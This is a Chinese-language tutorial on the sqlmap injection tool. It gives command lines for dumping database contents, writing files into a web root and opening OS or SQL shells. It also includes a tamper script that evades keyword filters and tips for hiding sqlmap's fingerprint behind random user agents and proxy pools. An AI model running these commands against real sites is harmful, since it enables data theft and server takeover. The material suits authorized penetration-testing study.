Web攻防06_sqlmap的使用
文章目录
- 参考链接:
- SQLMAP简介
- 支持五种不同的注入模式
- 数据猜解-库表列数据
- 权限操作
- 引出权限:
- 引出文件:
- 引出命令(执行命令):
- 提交方法-POST&HEAD&JSON
- Post注入
- cookie注入
- 注入请求头中(数据包注入,推荐):
- 绕过模块-Tamper脚本-使用&开发
- Tamper使用
- Tamper编写
- 分析拓展-代理&调试&指纹&风险&等级
- 后期分析调试:
- 打乱默认指纹:
- 使用更多的测试:测试Header注入
- 使用代理
参考链接:
https://blog.csdn.net/Goodric/article/details/115875009
https://www.cnblogs.com/bmjoker/p/9326258.html
SQLMAP简介
sqlmap 是一个开源渗透测试工具,可以自动执行检测和利用 SQL 注入缺陷以及接管数据库服务器的过程。
注入测试方面有一个sqlmap就足够了,支持多种常用数据库注入。
支持五种不同的注入模式
-
基于布尔类型的盲注。可以工具返回页面判断条件真假的注入。
-
基于时间的盲注。不能工具页面返回内容判断任何信息,要用条件语句查看时间延迟语句是否被执行来判断。
-
基于报错注入。页面会返回错误信息,或者把注入的语句结果直接返回到页面中。
-
联合查询注入。可以使用 union 的情况下的注入。
-
堆查询注入。可以执行多条语句时的注入。
数据猜解-库表列数据
数据猜解是用字典去猜的,使用的是data/txt中默认的字典进行猜解的,也可以自行添加字典。
测试:http://vulnweb.com/
-u “” 判断是否存在注入点
–current-db 获取当前数据库名
–tables -D “” 获取表
–columns -T “” -D “” 获取列
–dump -C “” -T “” -D “” 获取数据
-D 指定库名
-T 指定表名
-C 指定列名
python sqlmap.py --current-db // 获取当前数据库名
python sqlmap.py -u "地址" --tables -D "数据库名" //获取表名,ACCESS数据库的话没有数据库,直接是表,MySQL的话有多个数据库,若不写库名,则会获取所有数据库的表信息
python sqlmap.py -u "地址" --columns -T "表名" -D "数据库名" //获取该表名下的列名
python sqlmap.py -u "地址" --dump -C "列名" -T "表名" -D "数据库名" //获取数据, -C列名 -T表名
注入完成会将结果保存在C盘文件中。
–dbs #列出所有数据库
权限操作
测试:MYSQL高权限注入
引出权限:
判断站点是否为高权限。
--is-dba #是否是管理员
--privileges #查看权限
--current-user #查看当前用户
更推荐--is-dba
,因为--privileges
查看的不一定准确
--is-dba
也不一定准确,综合分析。
引出文件:
--file-read #文件读取
--file-write #文件写入
--file-dest #要写入的文件绝对路径
# 例子:
--file-write /test/test.txt --file-dest /var/www/html/1.txt;
将本地的test.txt文件写入到目标的1.txt
引出命令(执行命令):
--os-cmd= # 执行系统命令
--os-shell #系统交互shell
--sql-shell #执行指定sql命令
文件读写和执行命令都是建立在管理员权限的情况下,这些情况都是可以直接拿到网站权限的,就不需要进行数据猜解等测试方法了。
提交方法-POST&HEAD&JSON
测试:Post Cookie Json
Post注入
–data “post提交的数据” # 设置为post检测注入
python sqlmap.py -u "地址" --data "username=test&pass=test"
cookie注入
–cookie “”
注入请求头中(数据包注入,推荐):
把整个数据包保存文件在sqlmap目录下txt文件,在文件中使用*标记注入点,不标记则会全试,很慢。
-r 1.txt
python sqlmap.py -u "地址" -r 1.txt
有个网站,只能用手机访问,该网站有个注入点
如果不是通过抓包得到的请求的注入点数据包去注入,发送请求的话,
sqlmap就采用自己的请求头去访问进行注入测试,就有可能会访问不到,被拒绝。即无法测试
绕过模块-Tamper脚本-使用&开发
测试:base64注入 有过滤的注入
Tamper使用
--tamper=脚本模块名称
如:
--tamper=base64encode.py
--tamper=test.py
脚本文件存放于sqlmap目录下的tamper目录中。
Tamper编写
在如下脚本模板中的if payload:
中编写替换规则,使用payload.replace('替换前','替换内容')
进行替换即可。
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
pass
def tamper(payload, **kwargs):
if payload:
payload = payload.replace('SELECT','sElEct') # 编写替换规则
payload = payload.replace('OR','Or')
payload = payload.replace('AND','And')
payload = payload.replace('SLEEP','SleeP')
payload = payload.replace('ELT','Elt')
return payload
重点在于研究出绕过的方法,当知道绕过的方法,脚本编写很简单
分析拓展-代理&调试&指纹&风险&等级
后期分析调试:
-v=(0-6) #详细的等级(0-6)
显示详细的注入内容,等级越高,显示的内容越多越详细
通过调试信息分析为什么不能注入,是不能注入,绕过失败,还是自己写的tamper模块没有生效
打乱默认指纹:
--user-agent "" #自定义user-agent
sqlmap的固有流量特征:User-Agent:sqlmap/1.7.5.4#
--random-agent #随机user-agent
--time-sec=(2,5) #延迟响应,默认为5
网站请求过快会屏蔽,使用延迟可解决
使用更多的测试:测试Header注入
--level=(1-5) #要执行的测试水平等级,默认为1
--risk=(0-3) #测试执行的风险等级,默认为1
相当于测试的深度,等级越高,测试的情况和方法更多
使用代理
--proxy "http://xx:xx" #代理地址,代理注入
和burpsuite联动,便于分析注入的情况,为什么不能注入,注入数据包的查看分析
代理池:直接将买的代理池地址放里面就好